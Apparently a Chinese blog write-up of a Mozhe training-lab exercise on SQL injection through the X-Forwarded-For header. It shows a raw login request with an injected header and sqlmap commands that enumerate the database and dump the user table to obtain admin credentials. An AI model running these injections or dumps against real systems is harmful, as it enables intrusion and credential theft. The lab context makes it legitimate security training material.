0%

墨者靶场练习-X-Forwarded-For头注入

前言

练习X-Forwarded-For头注入,使用sqlmap进行注入。
自己注册一个墨者账号,就可以练习里面的在线靶场。

原理

登录后台提示ip信息不正确,这种情况一般是x-forwarded-for读取客户端ip,通过在数据包添加x-forwarded-for:1.1.1.1看 respone包中是否存在1.1.1.1,如果存在则证明用x-forwarded-for读取客户端数据,则存在注入漏洞,通过在登录框数据包中添加x-forwarded-for:*,用sqlmap跑注入,跑数据库名,表名,字段名,字段内容,登录后台获取key值。
以上原理讲解参考

判断注入点

开启靶场:https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe
image69150bf8bbef715b.png
imageb3812ab303598871.png
使用burp抓包,获取登录请求。
image8ebc890c12551e5d.png
添加X-Forwarded-For字段,设置为127.0.0.1进行测试:
imagefe8b1b470c361a7b.png
将X-Forwarded-For字段的值设置为127.0.0.1',进行测试:
imagee5794c15c1063e4f.png
将X-Forwarded-For字段的值设置为127.0.0.1*,进行测试:
image58be178f383de0f5.png
以上测试结果,说明存在X-Forwarded-For注入点。(为什么?

使用sqlmap进行注入利用

将HTTP头存在txt文件,将txt放到sqlmap的根目录:
imageb50f992d557e6239.png
txt文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php HTTP/1.1
Host: 219.153.49.228:42875
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://219.153.49.228:42875
Connection: close
Referer: http://219.153.49.228:42875/
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1*

username=admin&password=124
  • 使用sqlmap,获取数据库名称:
    1
    python sqlmap.py -r 1.txt --dbs --batch
    imagef1058598a05de847.png
  • 获取数据库webcalendar的所有表名称:
    1
    python sqlmap.py -r 1.txt -D webcalendar --tables --batch
    image6a3e821399cdd099.png
  • 获取表user的所有列数据
    1
    python sqlmap.py -r 1.txt -D webcalendar -T user --dump --batch
    imagea5788d7df221f5a9.png
    最后使用表中的用户名密码登录系统就行了。

    参考

    参考了这篇文章
-------------本文结束感谢您的阅读-------------